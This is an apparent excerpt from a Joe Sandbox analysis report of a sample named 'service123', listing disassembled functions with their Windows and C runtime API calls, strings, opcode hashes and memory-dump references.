Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memcpy$memmovestrlen
String ID: Unknown error$iostream error
API String ID: 1234831610-3609051425
Opcode ID: fe9be0d8e464cdc3a2d09a3dc9c5cc46a2b093b1ce12b036ec9f560738f030c5
Instruction ID: 8feb4289c95374006364f3b9f5c0453379046467fd8658d52baf613fcf3497cd
Opcode Fuzzy Hash: fe9be0d8e464cdc3a2d09a3dc9c5cc46a2b093b1ce12b036ec9f560738f030c5
Instruction Fuzzy Hash: EA61D1B0908319DFCB14DFA8C18479EBBF1BF88314F10892ED8989B755E7749849CB92

Function 6C7AF840 Relevance: 7.6, APIs: 5, Instructions: 87COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 6C7AF85F
ReleaseSemaphore.KERNEL32 ref: 6C7AF8E3

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: ReleaseSemaphoremalloc
String ID:
API String ID: 755742884-0
Opcode ID: c3e8e0342d3c47843f6eb88d2044ce66d1d4595756a9a2fa4ac970a40978458b
Instruction ID: e2aa83067f81fd621ed9a877c76a72ceff9c851b1ff8864eafad07a58a7aa354
Opcode Fuzzy Hash: c3e8e0342d3c47843f6eb88d2044ce66d1d4595756a9a2fa4ac970a40978458b
Instruction Fuzzy Hash: 59313870609301DFDB20AF69C64870A7BF0BB4632CF15867DD89897280E335D646CBE2

Function 6C7AFCE0 Relevance: 7.6, APIs: 5, Instructions: 78synchronizationCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 6C7AFCEC
ReleaseSemaphore.KERNEL32 ref: 6C7AFD7C
CreateSemaphoreW.KERNEL32 ref: 6C7AFDC7
WaitForSingleObject.KERNEL32 ref: 6C7AFE10

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: Semaphore$CreateObjectReleaseSingleWaitmalloc
String ID:
API String ID: 2768075653-0
Opcode ID: 114ca481dcfd0017782de061e38734468d6a90571f484f1593248bb57ff9f594
Instruction ID: 1b20c3fbac4d5671bdd4dc163a494e331bb2e495bad90e7af8b05e95d289cf0f
Opcode Fuzzy Hash: 114ca481dcfd0017782de061e38734468d6a90571f484f1593248bb57ff9f594
Instruction Fuzzy Hash: B231F67060A201CFDB21AF69C65870A7BF5BB4632CF118679D9588B680E335D646CFE2

Function 6C868520 Relevance: 7.6, APIs: 5, Instructions: 64stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6C868535
strlen.MSVCRT ref: 6C868583
memcpy.MSVCRT ref: 6C8685A0
setlocale.MSVCRT ref: 6C8685B4
setlocale.MSVCRT ref: 6C8685EA

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: setlocale$memcpystrlen
String ID:
API String ID: 4096897932-0
Opcode ID: f8af775031932045296904085471528f4b1a7b05db817b74e0f8254e2ec51035
Instruction ID: 44d4db308b7e519b523776e66c51d794cbb8a7d1a3236fbc317b729495fd81d9
Opcode Fuzzy Hash: f8af775031932045296904085471528f4b1a7b05db817b74e0f8254e2ec51035
Instruction Fuzzy Hash: CF21C2B46093509FD340EF29D68865EFBE0BF98258F458D6EE5D897701E338C944CB82

Function 6C7B9530 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

_lock.MSVCRT ref: 6C7B9549
_unlock.MSVCRT ref: 6C7B9571
calloc.MSVCRT ref: 6C7B95BF

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: _lock_unlockcalloc
String ID:
API String ID: 3876498383-0
Opcode ID: 2d85fe9eb4c66546544eacb675d5450fb1bd51e5c271a4006a92a239dbcf87c3
Instruction ID: 54a646a6a05e66fde692cf9703f6f5de255734675c6cc542d4a4d883a0340f6e
Opcode Fuzzy Hash: 2d85fe9eb4c66546544eacb675d5450fb1bd51e5c271a4006a92a239dbcf87c3
Instruction Fuzzy Hash: 80114C715042118FD7409F28C6C8796BBF0BFA5344F158569D8A8EF785EB34D844CBA2

Function 6C7B0290 Relevance: 7.5, APIs: 5, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

CreateSemaphoreW.KERNEL32 ref: 6C7B02BC
TlsAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C7B04DE), ref: 6C7B02CA
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C7B04DE), ref: 6C7B0300

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: AllocCreateErrorLastSemaphore
String ID:
API String ID: 2256031600-0
Opcode ID: 56bd60582a430f8626048cbfcc9226e9b377bfa2eabd536c5cb0c77c2ae59b92
Instruction ID: ed9408cee47a36654856eb229247d4d925102a43865f3070f4ae6a302a528842
Opcode Fuzzy Hash: 56bd60582a430f8626048cbfcc9226e9b377bfa2eabd536c5cb0c77c2ae59b92
Instruction Fuzzy Hash: 05F0BDB0509641DBD7207F68C65D35A7AB0BB5332CF508AACE0B997690E7358508CB92

Function 00484BFA Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 242COMMON

Download Yara Rule

Strings

(null), xrefs: 00484C27
@, xrefs: 00484647

Memory Dump Source

Source File: 00000009.00000002.3886110721.0000000000481000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00480000, based on PE: true

Associated: 00000009.00000002.3886072174.0000000000480000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886147841.000000000048A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886183509.000000000048E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886220642.0000000000491000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_480000_service123.jbxd

Similarity

API ID:
String ID: (null)$@
API String ID: 0-1380778734
Opcode ID: 451d1e219e360b3035468af5ec9792910f5f8809da10c399c64b1404f0c9894f
Instruction ID: 664f53c96539f5588ca51fefd9d7cd1095c3018de9c2a447097903fdf5d8b501
Opcode Fuzzy Hash: 451d1e219e360b3035468af5ec9792910f5f8809da10c399c64b1404f0c9894f
Instruction Fuzzy Hash: 45A17E315083528BD721AF24C0903AFBBE1BBC5718F158E1FE9D897342D739D9069B8A

Function 6C7B52CA Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 242COMMON

Download Yara Rule

Strings

(null), xrefs: 6C7B52F7
@, xrefs: 6C7B4D17

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID: (null)$@
API String ID: 0-1380778734
Opcode ID: 2165d8779e62bafc822e92969134f8be81574c59751539a5aca7831b88a6b14e
Instruction ID: 7d457a26cb91ba80670ece39a15f3734d2ec98b06898715097f662f10d0a6938
Opcode Fuzzy Hash: 2165d8779e62bafc822e92969134f8be81574c59751539a5aca7831b88a6b14e
Instruction Fuzzy Hash: 22A1AE7160C3958BD7608F28D29439BBBE1BF85708F148A2DE9DCA7741D734E50ADB82

Function 00481B00 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 211COMMON

Download Yara Rule

Strings

Unknown pseudo relocation bit size %d., xrefs: 00481C6D
Unknown pseudo relocation protocol version %d., xrefs: 00481DF3
%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p., xrefs: 00481C20

Memory Dump Source

Source File: 00000009.00000002.3886110721.0000000000481000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00480000, based on PE: true

Associated: 00000009.00000002.3886072174.0000000000480000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886147841.000000000048A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886183509.000000000048E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886220642.0000000000491000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_480000_service123.jbxd

Similarity

API ID:
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p.
API String ID: 0-1286557213
Opcode ID: 88a977b1605d32fcb9f67af8ff20277662715afcb6fd0398535647ddadf764eb
Instruction ID: 0515072c556f07cc849adfc5fd35b9c522b2fa53bbf8108df4da71e1060b02f3
Opcode Fuzzy Hash: 88a977b1605d32fcb9f67af8ff20277662715afcb6fd0398535647ddadf764eb
Instruction Fuzzy Hash: DF819071A102058BDB10FF28D88065EB7F9FB85344F148D2BE954A7364D338F8668B9E

Function 6C7AA850 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 187COMMON

Download Yara Rule

Strings

Unknown pseudo relocation protocol version %d., xrefs: 6C7AAB43
%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p., xrefs: 6C7AA970
Unknown pseudo relocation bit size %d., xrefs: 6C7AA9BD

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p.
API String ID: 0-1286557213
Opcode ID: 31eee9409dc3d096ec397ba199c86519907b82c536b318c04fb1a3e2a1ad6d24
Instruction ID: 4d4aea2eee4b82c3d4639bf8aad62d1d2f528f44c5469bb1aaa8c38b180e524d
Opcode Fuzzy Hash: 31eee9409dc3d096ec397ba199c86519907b82c536b318c04fb1a3e2a1ad6d24
Instruction Fuzzy Hash: 92718732A052568BCB20CFD9CA8479EB7F0FF45328F158A29D955A7B15D330E846CF91

Function 004880D8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 19stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 004880F2
strchr.MSVCRT ref: 00488102
atoi.MSVCRT ref: 00488113

Strings

., xrefs: 004880F7

Memory Dump Source

Source File: 00000009.00000002.3886110721.0000000000481000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00480000, based on PE: true

Associated: 00000009.00000002.3886072174.0000000000480000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886147841.000000000048A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886183509.000000000048E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886220642.0000000000491000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_480000_service123.jbxd

Similarity

API ID: atoisetlocalestrchr
String ID: .
API String ID: 1223908000-248832578
Opcode ID: ada1008d35e41e10e64cf9da6c6253745884d5c573850742e5c05c36619c67f5
Instruction ID: 0dfa224246f28aea689a93b88b7297e9b93f3a211f2e9e69b937e0047c8189ca
Opcode Fuzzy Hash: ada1008d35e41e10e64cf9da6c6253745884d5c573850742e5c05c36619c67f5
Instruction Fuzzy Hash: 4EE0ECB19047018AD7507F39C90E31EBAE2AB90704F898C6DE48887346EF7D98469756

Function 6C7B9128 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 19stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6C7B9142
strchr.MSVCRT ref: 6C7B9152
atoi.MSVCRT ref: 6C7B9163

Strings

., xrefs: 6C7B9147

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: atoisetlocalestrchr
String ID: .
API String ID: 1223908000-248832578
Opcode ID: c2b570a3904f17255e6178cae360b51e0f0771d8f4e0b0ba75ebf925efdecfd1
Instruction ID: 69bdc6354b0af28878a3c6d083d8b5459a2648473788c6a29055ac5319793066
Opcode Fuzzy Hash: c2b570a3904f17255e6178cae360b51e0f0771d8f4e0b0ba75ebf925efdecfd1
Instruction Fuzzy Hash: D9E0ECB19057118AD7007F38CA0D39AB6F1BBA1308F85886CD498A7744E7799449D752

Function 6C7B9293 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 6C7B929F
GetProcAddress.KERNEL32 ref: 6C7B92B3

Strings

SystemFunction036, xrefs: 6C7B92A8
advapi32.dll, xrefs: 6C7B9298

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: SystemFunction036$advapi32.dll
API String ID: 2574300362-1354007664
Opcode ID: 3c33b3563c7b799481768b01f31fe37af5f8b6ef38eafc827f11f1fc5d03e02f
Instruction ID: e493ffff51439f0bcfc9f50ff641db7efc48634d7472473dd876d04135971121
Opcode Fuzzy Hash: 3c33b3563c7b799481768b01f31fe37af5f8b6ef38eafc827f11f1fc5d03e02f
Instruction Fuzzy Hash: E8E04FB2C45210CBC720AF789A0A04ABBF0BA56324F40497ED09997A00E3349508CB97

Function 6C7B1409 Relevance: 6.5, APIs: 3, Strings: 1, Instructions: 482COMMON

Download Yara Rule

Strings

5, xrefs: 6C7B14D2

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID: 5
API String ID: 0-2226203566
Opcode ID: 0def768305c1260408af7aedaccc920191e6de14808f59ae1b5c2c05f6ae47ac
Instruction ID: 692db2c6a525eba78a81c11a0e7474e473752ce07dea5ef0bdf76903fdadc4a1
Opcode Fuzzy Hash: 0def768305c1260408af7aedaccc920191e6de14808f59ae1b5c2c05f6ae47ac
Instruction Fuzzy Hash: 8E22F075A097418FC724CF29C68875AFBE1BF89348F15892EE9D8A7710D734E845CB42

Function 6C7AA340 Relevance: 6.3, APIs: 5, Instructions: 98stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C7AA3C5
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,6C7BC41C), ref: 6C7AA3E0
free.MSVCRT ref: 6C7AA3EA

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: freememcpystrlen
String ID:
API String ID: 2208669145-0
Opcode ID: 8aca595b40c5aec91f2de1c08c048b35de6ccf81032139ab758e9609a5d25e1a
Instruction ID: 4d8545c51f54d85b77cc02fe570342e60f37aa4bbe8f32426c150314a2391aea
Opcode Fuzzy Hash: 8aca595b40c5aec91f2de1c08c048b35de6ccf81032139ab758e9609a5d25e1a
Instruction Fuzzy Hash: B0311C716097118FD3009FADD68861BBBE1AFD1768F250B2CE9B457B40D731D44A8F92

Function 6C7F5C40 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 308COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C7F5D74
memchr.MSVCRT ref: 6C7F5D93

Part of subcall function 6C868520: setlocale.MSVCRT ref: 6C868535

Strings

-, xrefs: 6C7F5F72
., xrefs: 6C7F5D85

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memchrmemcpysetlocale
String ID: -$.
API String ID: 4291329590-3807043784
Opcode ID: 6bad6742e4370dfa6166193fa0309750cedc680ecfcb4618ce5cd2cbb6197611
Instruction ID: b4d865dd9d8ff7e2af82312ec5324e85d9e9b4225b0b31d762bbaca0d5aaf460
Opcode Fuzzy Hash: 6bad6742e4370dfa6166193fa0309750cedc680ecfcb4618ce5cd2cbb6197611
Instruction Fuzzy Hash: 8FD15BB09093199FCB40DFA8D1C858DBBF1BF48344F148A2AE8A4EB751D734D946CB91

Function 6C7F6080 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 306COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C7F61AE
memchr.MSVCRT ref: 6C7F61CD

Part of subcall function 6C868520: setlocale.MSVCRT ref: 6C868535

Strings

6, xrefs: 6C7F63B6
., xrefs: 6C7F61BF

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memchrmemcpysetlocale
String ID: .$6
API String ID: 4291329590-4089497287
Opcode ID: f8da195149ee8cf9da016e120a37e8598c62a7d0520c104dcd4b6a248e79e79d
Instruction ID: 7f3fb437ee01bc570890a1968db6cbe31cc8fa41a49dc9cb87a94cc434799af6
Opcode Fuzzy Hash: f8da195149ee8cf9da016e120a37e8598c62a7d0520c104dcd4b6a248e79e79d
Instruction Fuzzy Hash: 1FD149B09087599FCB00DFA8C5C468EBBF0BF48344F148A2AE8A4E7751D734DA46CB91

Function 6C870F90 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 283stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C870FD5

Strings

basic_string::append, xrefs: 6C87104D, 6C871059, 6C87114C, 6C87120C

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlen
String ID: basic_string::append
API String ID: 39653677-3811946249
Opcode ID: 53e46c8fff5a917011708c93bd6773771975fd057c1f162e12fbb5a6f6006ea8
Instruction ID: 4010b86461ab66ca4c6ac000d194189451ded649f20a9496eb603898cf22c70a
Opcode Fuzzy Hash: 53e46c8fff5a917011708c93bd6773771975fd057c1f162e12fbb5a6f6006ea8
Instruction Fuzzy Hash: 1BA14E71A042059FCB20EF68C6C465EBBF1FF89314F458979E8989B744E734D849CBA2

Function 6C80B2D0 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 153COMMON

Download Yara Rule

APIs

memmove.MSVCRT(00000000,?,?,6C80997F), ref: 6C80B336
memcpy.MSVCRT(?,?,?,?,?,?,6C80997F), ref: 6C80B3A1
memcpy.MSVCRT(00000000,?,?,6C80997F), ref: 6C80B3E8

Strings

basic_string::assign, xrefs: 6C80B403

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

